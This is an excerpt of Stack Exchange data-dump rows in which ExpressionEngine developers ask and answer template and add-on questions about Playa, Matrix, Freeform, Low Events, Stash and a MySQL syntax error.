  <row Id="12724" PostTypeId="1" CreationDate="2013-08-14T12:41:07.897" Score="1" ViewCount="434" Body="&lt;p&gt;I'm trying to get information from a &lt;a href=&quot;http://devot-ee.com/add-ons/playa&quot; rel=&quot;nofollow&quot;&gt;Playa&lt;/a&gt; field within a &lt;a href=&quot;http://devot-ee.com/add-ons/matrix&quot; rel=&quot;nofollow&quot;&gt;Matrix&lt;/a&gt; field, and nothing is showing. It's a very simple task, and I can't see where I've made a mistake:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{model}&amp;lt;!--Matrix field--&amp;gt;&#xA;&amp;lt;div class=&quot;row details&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;large-6 columns&quot;&amp;gt;&#xA;&amp;lt;img src=&quot;{model_image}&quot; title=&quot;{model_title}&quot; alt=&quot;{model_title}&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;large-6 columns&quot;&amp;gt;&#xA;&amp;lt;p&amp;gt;{if &quot;{model_production}&quot;==&quot;Yes&quot;}In production.{if:else}Out of production.{/if}&amp;lt;/p&amp;gt;&#xA;{if model_link}&#xA;&amp;lt;p&amp;gt;Best source for this model:&amp;lt;br&amp;gt;&#xA;&amp;lt;a href=&quot;{model_link}&quot; title=&quot;{model_link}&quot; target=&quot;_blank&quot;&amp;gt;{link_title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;{/if}&#xA;{if model_painter}&amp;lt;!--Playa field--&amp;gt;&#xA;&amp;lt;p&amp;gt;Example painted by {model_painter}{title}{/model_painter}&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/model}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1892" LastEditorUserId="27" LastEditDate="2013-08-15T12:41:12.023" LastActivityDate="2013-08-15T12:41:12.023" Title="Playa field within a Matrix field - not displaying results" Tags="|matrix|playa|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12725" PostTypeId="2" ParentId="12676" CreationDate="2013-08-14T13:06:34.660" Score="2" Body="&lt;p&gt;After much research it would seem the way to do it in my case is to manually call the &lt;code&gt;add_trigger&lt;/code&gt; method on the &lt;code&gt;ee_filebrowser&lt;/code&gt; JQuery object which exists in page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically, I just added the following to my Widget template. When the Widget is loaded this JQuery is immediately executed. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    $.ee_filebrowser.add_trigger(&quot;.choose_file&quot;, function (file) {&#xA;&#xA;       // This is basically a callback method which is called after&#xA;       // you select a file in the File Manager modal window. The parameter&#xA;       // 'file' is an object representing the file you selected, which&#xA;       // has various properties pre-populated such as file_id, file_name etc.&#xA;&#xA;       console.log(file); //Use Firebug in Firefox or similar to see all values.&#xA;&#xA;       // Here you can then manually populate the hidden fields provided&#xA;       // by the File Field Class. &#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27" LastActivityDate="2013-08-14T13:06:34.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12726" PostTypeId="1" AcceptedAnswerId="12729" CreationDate="2013-08-14T13:42:13.367" Score="1" ViewCount="166" Body="&lt;p&gt;Here is my template simplified for brevity&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure:entries channel=&quot;iconGroup&quot; limit=&quot;1&quot; sort=&quot;asc&quot; paginate=&quot;bottom&quot;}&#xA;&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;div class=&quot;icon-grid&quot;&amp;gt;&#xA;    {exp:file:entries directory_id=&quot;{file_upload_id}&quot; dynamic=&quot;no&quot; disable=&quot;categories&quot; orderby=&quot;date&quot;}&#xA;         &amp;lt;span&amp;gt;{filename}&amp;lt;/span&amp;gt;&#xA;         &amp;lt;span class=&quot;extra-desc&quot;&amp;gt;{description}&amp;lt;/span&amp;gt;&#xA; {/exp:file:entries}&#xA;     &amp;lt;/div&amp;gt;&#xA;{/exp:structure:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The issue i am having is that the description does not show up when it is nested in the entries template. If i move it out of that it shows fine. Is there a way i can make it show up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively The main reason i need it nested is to get the file_upload_id from the channel above. Maybe there is a way to get that single entry?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1893" LastActivityDate="2013-08-14T16:47:44.787" Title="Display Description in Nested exp:file:entries Tag" Tags="|templates|template-scripting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12727" PostTypeId="2" ParentId="12724" CreationDate="2013-08-14T13:43:10.367" Score="1" Body="&lt;p&gt;One thing you could do is eliminate the conditional around the Playa field - like the entries loop, Playa won't output anything if no results are found. So you can do something like this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{model_painter}&#xA;    &amp;lt;p&amp;gt;{if count == &quot;1&quot;}Example painted by{/if} {title}&amp;lt;/p&amp;gt;&#xA;{/model_painter}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This may not have any bearing on why you're not seeing a result from your playa field, but it would simplify your loop just slightly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could there be a custom status at play that would be causing the playa field in the matrix to fail to return an entry for you?&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-08-14T13:43:10.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12728" PostTypeId="2" ParentId="12708" CreationDate="2013-08-14T13:53:42.187" Score="3" Body="&lt;p&gt;I found the problem - I had custom fields disabled in my entries tag (d'oh!)!! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to cause the aforementioned problem if you try to parse matrix tags.&lt;/p&gt;&#xA;" OwnerUserId="522" LastActivityDate="2013-08-14T13:53:42.187" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12729" PostTypeId="2" ParentId="12726" CreationDate="2013-08-14T14:03:29.663" Score="1" Body="&lt;p&gt;You should never to nest exp:channel:entries, but, in this case, you have a fair reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's use an embed!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure:entries channel=&quot;iconGroup&quot; limit=&quot;1&quot; sort=&quot;asc&quot; paginate=&quot;bottom&quot; disable=&quot;categories|member_data|member_data|pagination&quot;} &#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;div class=&quot;icon-grid&quot;&amp;gt;&#xA;    {embed=&quot;includes/.files-and-descriptions&quot; id_of_directory=&quot;{file_upload_id}&quot;}&#xA;     &amp;lt;/div&amp;gt;&#xA;{/exp:structure:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, on embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:file:entries directory_id=&quot;{embed:id_of_directory}&quot; dynamic=&quot;no&quot; disable=&quot;categories|member_data|member_data|pagination&quot; orderby=&quot;date&quot;}&#xA;     &amp;lt;span&amp;gt;{filename}&amp;lt;/span&amp;gt;&#xA;     &amp;lt;span class=&quot;extra-desc&quot;&amp;gt;{description}&amp;lt;/span&amp;gt;&#xA;{/exp:file:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If this embed is used just once per page, I suggest you to enable the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/optimization/caching.html#template-caching&quot; rel=&quot;nofollow&quot;&gt;template cache&lt;/a&gt; of both files.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-08-14T16:47:44.787" LastActivityDate="2013-08-14T16:47:44.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12730" PostTypeId="1" CreationDate="2013-08-14T15:01:06.713" Score="3" ViewCount="242" Body="&lt;p&gt;I am building my first Expresso Store and having some trouble making fields required. &lt;a href=&quot;https://gist.github.com/davist11/f20af8566a010553f756&quot; rel=&quot;nofollow&quot;&gt;Here is what my checkout form looks like&lt;/a&gt;. Note all the fields that that I have marked as required. When I submit the form, it validates the order_email and displays the error message inline. When I fill out the email field and hit submit, none of the other fields are validated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on EE 2.6.1 and Store 1.6.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help.&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2013-11-01T21:47:51.020" Title="Expresso Store Error Handling not Working" Tags="|expresso-store|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12731" PostTypeId="2" ParentId="12703" CreationDate="2013-08-14T15:07:31.967" Score="1" Body="&lt;p&gt;Your first code snippet shows the double quotes on the outside, so Wygwam is not actually touching those at all. It's just converting the single quotes to entities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not able to reproduce that with the latest version of Wygwam, but you might try going into Add-Ons &gt; Modules &gt; Wygwam &gt; [your config name], and adding the ‘entities’ advanced setting to “No”.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-08-14T15:07:31.967" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12732" PostTypeId="2" ParentId="12693" CreationDate="2013-08-14T15:12:08.817" Score="0" Body="&lt;p&gt;Even if you have Wygwam configured to use EE’s file browser, it will fall back on CKFinder within Safecracker, since the EE file browser doesn’t work there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only issue is that CKFinder is only able to work with a single upload directory. So you have to go into Add-Ons &gt; Modules &gt; Wygwam &gt; [your config name] and tell it which upload directory to use.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-08-14T15:12:08.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12733" PostTypeId="1" CreationDate="2013-08-14T16:07:32.163" Score="2" ViewCount="1232" Body="&lt;p&gt;We have a need for a date input.&#xA;I want to use jquery UI date picker, and I'm building a third_party plugin for freeform to use to create dates, with options for start and end dates selectable by the end user.&#xA;These I'll pass to the front end no prob.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's getting a little convoluted and It dawned on me that there might be an existing option out there? I can't be the first person ever to want to use dates in freeform... can I?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i'll carry on development, but if there are any pointers out there, I'll listen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I hear nothing I'll keep on developing and share my plugin later...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers..&lt;/p&gt;&#xA;" OwnerUserId="1886" LastEditorUserId="69" LastEditDate="2013-10-21T04:49:00.747" LastActivityDate="2015-01-07T22:23:28.687" Title="freeform - Custom field, date format" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12734" PostTypeId="1" CreationDate="2013-08-14T16:13:34.060" Score="4" ViewCount="995" Body="&lt;p&gt;We need to send to three email addresses when a particular select option is selected. I've tried setting the value of that field (called recipient_email) to foo@bar.com,baz@bar.com and setting recipients=yes and recipient_limit=3 on the form, but the form just comes through to the default admin notification email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions? This in on EE 2.6.1 and Freeform 4.0.12.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a cut down version of the template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form &#xA;collection=&quot;General Contact Form&quot;&#xA;return=&quot;{embed:return}/category/submitted&quot; &#xA;form:id=&quot;form-general-contact&quot; &#xA;form:class=&quot;validate no-print&quot; &#xA;required=&quot;first_name|surname|email|recipient_email|user_message&quot;&#xA;recipients=&quot;yes&quot; &#xA;recipient_limit=&quot;3&quot;&#xA;}&#xA;&#xA;&amp;lt;fieldset&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;fr&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;sel-general-type&quot;&amp;gt;Enquiry Type &amp;lt;span class=&quot;required&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;wrapper-select&quot;&amp;gt;&#xA;            &amp;lt;select id=&quot;sel-general-type&quot; name=&quot;recipient_email&quot;&amp;gt;&#xA;                &amp;lt;option value=&quot;foo@bar.com,baz@bar.com&quot;&amp;gt;Foo&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;bar@foo.com&quot;&amp;gt;Bar&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/select&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="506" LastActivityDate="2013-08-14T16:40:29.497" Title="Sending freeform submissions to multiple recipients" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12735" PostTypeId="2" ParentId="12734" CreationDate="2013-08-14T16:40:29.497" Score="6" Body="&lt;p&gt;The &lt;code&gt;recipient_email&lt;/code&gt; field accepts &lt;strong&gt;encoded recipient email values&lt;/strong&gt; (&lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#recipient_email&quot;&gt;see an example here&lt;/a&gt;), using the &lt;code&gt;{freeform:recipient_value}&lt;/code&gt; variable in the field's &lt;code&gt;name=&quot;&quot;&lt;/code&gt; attribute along with a set list of recipients using &lt;code&gt;recipient1=&quot;&quot;&lt;/code&gt;, &lt;code&gt;recipient2=&quot;&quot;&lt;/code&gt;, etc parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want your field's value=&quot;&quot; to be an regular, &lt;em&gt;non-encoded&lt;/em&gt; email address (as you have it above), use &lt;code&gt;recipient_email_user&lt;/code&gt; field (&lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#recipient_email_user&quot;&gt;documentation&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To send to multiple recipients, use &lt;code&gt;name=&quot;recipient_email[]&quot;&lt;/code&gt; or &lt;code&gt;name=&quot;recipient_email_user[]&quot;&lt;/code&gt; for your field. Please note the brackets &lt;code&gt;[]&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You cannot have more than one email address as a field's value=&quot;&quot;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In your case, however,&lt;/strong&gt; you are using a select field, which cannot accept multiple values. Either change the field to checkboxes or a multi-select field, eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;recipient_email_user[]&quot; value=&quot;email1@example.com&quot; /&amp;gt; Recipient 1&amp;lt;br /&amp;gt;&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;recipient_email_user[]&quot; value=&quot;email2@example.com&quot; /&amp;gt; Recipient 2&amp;lt;br /&amp;gt;&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;recipient_email_user[]&quot; value=&quot;email3@example.com&quot; /&amp;gt; Recipient 3&amp;lt;br /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...or use javascript/jQuery to populate hidden &lt;code&gt;recipient_email_user[]&lt;/code&gt; fields when a select field option is selected.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-08-14T16:40:29.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12736" PostTypeId="1" CreationDate="2013-08-14T17:00:28.223" Score="1" ViewCount="146" Body="&lt;p&gt;I need the list of category names, but only the categories that have been tagged in entries that are related (a Playa relationship) to another entry (I know, it's getting down to snow-fortress Inception levels).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my Low Variable (an early-parsed textarea variable), called &quot;lv_region_entry_ids&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries url_title=&quot;{segment_3}&quot;}{exp:playa:parent_ids}{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's the place I'm trying to use it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories entry_id=&quot;{lv_region_entry_ids}&quot;} (some code) {/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That doesn't work, and I've read in a few places that when dealing with LV and Playa you have to use the pair tag instead of the the global variable syntax. But that's where I'm drawing a blank on how to do that.&lt;/p&gt;&#xA;" OwnerUserId="1894" LastActivityDate="2013-10-14T06:58:02.347" Title="Low Variables, Playa, GWCode Categories, Entry IDs, and Categories" Tags="|playa|categories|low-variables|gwcode-categories|entryid|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12737" PostTypeId="1" CreationDate="2013-08-14T17:03:45.343" Score="1" ViewCount="395" Body="&lt;p&gt;I am getting the following error in Chrome for my site:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MySQL ERROR:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error Number: 1064&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Description: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'd code on line 341'' at line 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Query: SELECT cat_name FROM exp_categories WHERE cat_id ='Notice: Undefined variable: catID in /www/eh17535/public_html/cp/core/core.functions.php(672) : eval()'d code on line 341'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am only getting this in Chrome, IE and firefox work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Allison&lt;/p&gt;&#xA;" OwnerUserId="1658" LastActivityDate="2013-08-14T20:11:45.903" Title="Error Number: 1064, ExpressionEngine 1.7.3 Chrome Bug" Tags="|error|ee1|debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12738" PostTypeId="1" AcceptedAnswerId="12742" CreationDate="2013-08-14T18:09:38.117" Score="2" ViewCount="542" Body="&lt;p&gt;What is the best way to do it a mail form in expressionengine with a file attachment?&#xA;The objective is to construct a resumé sender mail form, where the user fill some fields and attach a PDF or DOC file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dont want to store this in the site, just attach and send in a e-mail recipient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What solution to use? Code examples?&lt;/p&gt;&#xA;" OwnerUserId="1852" LastActivityDate="2013-08-15T12:41:07.790" Title="ExpressionEngine mail form with attachments: how do it?" Tags="|attachment|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12739" PostTypeId="1" AcceptedAnswerId="12746" CreationDate="2013-08-14T18:15:34.677" Score="0" ViewCount="103" Body="&lt;p&gt;I've got different types of products (in different channels) in a CartThrob store. Is it possible to add a conditional within the &lt;a href=&quot;http://cartthrob.com/docs/tags_detail/checkout_form/&quot; rel=&quot;nofollow&quot;&gt;Checkout Form tag&lt;/a&gt; to enable certain checkout fields to only appear if there's a product from a certain channel in the cart? If so, how would I go about doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been looking at the &lt;a href=&quot;http://cartthrob.com/docs/tags_detail/checkout_form/&quot; rel=&quot;nofollow&quot;&gt;Checkout Form tag&lt;/a&gt; and the &lt;a href=&quot;http://cartthrob.com/docs/tags_detail/cart_items_info/index.html&quot; rel=&quot;nofollow&quot;&gt;Cart Items Info tag&lt;/a&gt;, but there doesn't appear to be anything here to test for what I'm looking for (please correct me if I'm wrong!). I also looked at the &lt;a href=&quot;http://cartthrob.com/docs/tags_detail/is_in_cart/index.html&quot; rel=&quot;nofollow&quot;&gt;Is In Cart tag&lt;/a&gt;, but this only seems to work for adding one entry ID at a time, not looping through lots of entry_id's in a channel (which rules out adding all the entries in this particular channel, though that might have been impractical anyway).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a &lt;a href=&quot;http://cartthrob.com/docs/tags_detail/cart_entry_ids/index.html&quot; rel=&quot;nofollow&quot;&gt;Cart Entry ID's tag&lt;/a&gt;, but I can't figure out how to use this in a conditional that would output a single true/false result (for use in a conditional) if one of the pipe-delimited entry ID's belonged to a certain channel. Thanks for any advice on this.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-08-14T20:33:16.367" Title="Only display certain checkout fields if there's a product in the cart from a certain channel" Tags="|cartthrob|conditionals|ecommerce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12740" PostTypeId="1" AcceptedAnswerId="12901" CreationDate="2013-08-14T18:22:02.170" Score="1" ViewCount="76" Body="&lt;p&gt;I've just updated my version of &lt;a href=&quot;http://www.solspace.com/software/detail/primary_category/&quot; rel=&quot;nofollow&quot;&gt;Primary Category&lt;/a&gt; from Solspace from version 2.0.2 to 2.2.1 in my EE 2.5.2 install and run into what I think is a bug. A BIG change in the update is that you now need to wrap your primary category variables inside a &lt;code&gt;{primary_categories}&lt;/code&gt; tag pair inside the channel entries tag (in the past you could just use the primary category variables inside channel entries without the wrapper). So I updated my templates, but when I put in the wrapper tags I had some channel entries that suddenly were displaying duplicate and broken content. After investigating I found the common thread for the broken entries was that they had channel field content that contained the '$' symbol. So for example a reference to a price, like $1,099.00, in the title or body. This appears to be a bug in Primary Category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone run across this same issue and if so do you have a fix or work around?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="384" LastActivityDate="2014-03-05T02:33:38.173" Title="Primary Category '$' bug?" Tags="|add-on|channel-entries|categories|solspace|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12742" PostTypeId="2" ParentId="12738" CreationDate="2013-08-14T19:39:52.077" Score="4" Body="&lt;p&gt;Have you tried using &lt;a href=&quot;http://www.solspace.com/software/detail/freeform/&quot; rel=&quot;nofollow&quot;&gt;Freeform&lt;/a&gt; from Solspace? There's a paid and free version, both of which should take care of your needs. I use Freeform all the time for a resume upload and email type of form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: There are some good code examples in the &lt;a href=&quot;http://www.solspace.com/docs/freeform/form/&quot; rel=&quot;nofollow&quot;&gt;Freeform Docs&lt;/a&gt; (at the bottom of the page).&lt;/p&gt;&#xA;" OwnerUserId="197" LastEditorUserId="27" LastEditDate="2013-08-15T12:41:07.790" LastActivityDate="2013-08-15T12:41:07.790" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12743" PostTypeId="1" AcceptedAnswerId="12755" CreationDate="2013-08-14T20:07:03.460" Score="1" ViewCount="197" Body="&lt;p&gt;I've just started using Low Events after realizing the hard way why I need it. I'm attempting to format a nice string when the range happens within the same month; instead of &lt;code&gt;August 14, 2013 - August 16, 2013&lt;/code&gt;, I'd like to display &lt;code&gt;August 14-16, 2013&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've attempted to compare formatted output of the month and year only, like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {if '{event_dates:start_date format=&quot;%F%Y&quot;}' == '{event_dates:end_date format=&quot;%F%Y&quot;}'}    &#xA;      {event_dates:start_date format=&quot;%F %j&quot;}-{event_dates:end_date format=&quot;%j, %Y&quot;}&#xA; {if:else}          &#xA;      {event_dates:start_date format=&quot;%F %j, %Y&quot;} - {event_dates:end_date format=&quot;%F %j, %Y&quot;}&#xA; {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...yet instead of the expected output EE just complains that it choked on the conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Parse error: syntax error, unexpected T_STRING in /var/www/vhosts/foo.com/httpdocs/system/expressionengine/libraries/Functions.php(683) : eval()'d code on line 56&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; had no effect, and I've isolated that first &lt;code&gt;{if&lt;/code&gt; conditional as the problem. Is there any way to achieve the formatting I'd like without relying on an embedded template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried swapping the single and double quotes as Robson suggested, but that had no effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is EE 2.5.5 and Low Events 1.1.4, and swapping &lt;code&gt;{exp:channel:entries}&lt;/code&gt; for &lt;code&gt;{exp:low_events:entries}&lt;/code&gt; makes no difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the entire (simplified) template for context:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:entries channel=&quot;events&quot; limit=&quot;1&quot; url_title=&quot;{segment_2}&quot;}&#xA; {embed=&quot;parts/.header&quot; page_title=&quot;{title}&quot;}&#xA;&#xA; &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;{if '{event_dates:all_day}' == 'y'}&#xA;            {if '{event_dates:one_day}' == 'y'}&#xA;                {event_dates:start_date format=&quot;%F %j, %Y&quot;}&#xA;            {if:else}&#xA;                {if '{event_date:start_date format=&quot;%F%Y&quot;}' == '{event_date:end_date format=&quot;%F%Y&quot;}'}   &#xA;                    {event_dates:start_date format=&quot;%F %j&quot;}-{event_dates:end_date format=&quot;%j, %Y&quot;}&#xA;                {if:else}           &#xA;                    {event_dates:start_date format=&quot;%F %j, %Y&quot;} - {event_dates:end_date format=&quot;%F %j, %Y&quot;}&#xA;                {/if}&#xA;            {/if}&#xA;        {if:elseif '{event_dates:one_day}' == 'y'}&#xA;            {event_dates:start_date format=&quot;%F %j, %Y&quot;} - {event_dates:start_time format=&quot;%g:%i%a&quot;}-{event_dates:end_time format=&quot;%g:%i%a&quot;}&#xA;        {if:else}&#xA;            {event_dates:start_date format=&quot;%F %d, %Y&quot;} - {event_dates:start_time format=&quot;%g:%i%a&quot;} to {event_dates:end_date format=&quot;%F %d, %Y&quot;} - {event_dates:end_time format=&quot;%g:%i%a&quot;}&#xA;        {/if}&#xA;        {if event_location}&#xA;        &amp;lt;br/&amp;gt;{event_location}&#xA;        {/if}&#xA;    &amp;lt;/h3&amp;gt;&#xA;&#xA;    &amp;lt;hr/&amp;gt;&#xA;&#xA;    {event_description}&#xA;&#xA;    {if event_rsvp_link}&#xA;        &amp;lt;div class=&quot;rsvp&quot;&amp;gt;&amp;lt;a href=&quot;{exp:extract_url}{event_rsvp_link}{/exp:extract_url}&quot;&amp;gt;RSVP Now &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;     &#xA;    {/if}&#xA;&#xA; &amp;lt;/div&amp;gt;&#xA;&#xA; {if no_results}{redirect=&quot;404&quot;}{/if}{/exp:channel:entries}&#xA; {embed=&quot;parts/.footer&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="810" LastEditorUserId="810" LastEditDate="2013-08-15T01:13:12.603" LastActivityDate="2013-08-15T06:00:34.920" Title="Low Events: How can I compare formatted start_date and end_date in conditionals?" Tags="|conditionals|parse-order|low-events|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12744" PostTypeId="2" ParentId="12737" CreationDate="2013-08-14T20:11:45.903" Score="2" Body="&lt;p&gt;By definition, a server-side error (like the MySQL error you describe) cannot be happening in one browser but not another. So my guess is that you're simply viewing the specific page on which it is happening with Chrome, and viewing a &lt;em&gt;different&lt;/em&gt; page in Firefox and IE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Or, another possibility - you're logged-in in Chrome, but not the others, and the error is triggered by code that is only running for logged-in users.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess - you have a custom add-on or PHP in a specific template that's running a query which triggers the error. Search your templates for &lt;code&gt;$catID&lt;/code&gt; to find the culprit.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-08-14T20:11:45.903" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12745" PostTypeId="1" AcceptedAnswerId="12757" CreationDate="2013-08-14T20:31:51.590" Score="2" ViewCount="649" Body="&lt;p&gt;I just started using Low Variables.  I just bought Mustash to use with Stash.  It is unclear to me as a newbie certain functionality and what best practices are.  Which type of snippets would go in LV and which snippets in Stash&lt;/p&gt;&#xA;" OwnerUserId="719" LastEditorUserId="719" LastEditDate="2013-08-15T04:02:08.683" LastActivityDate="2013-08-15T09:26:56.733" Title="When to use Low Variables and when to use Stash" Tags="|stash|low-variables|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
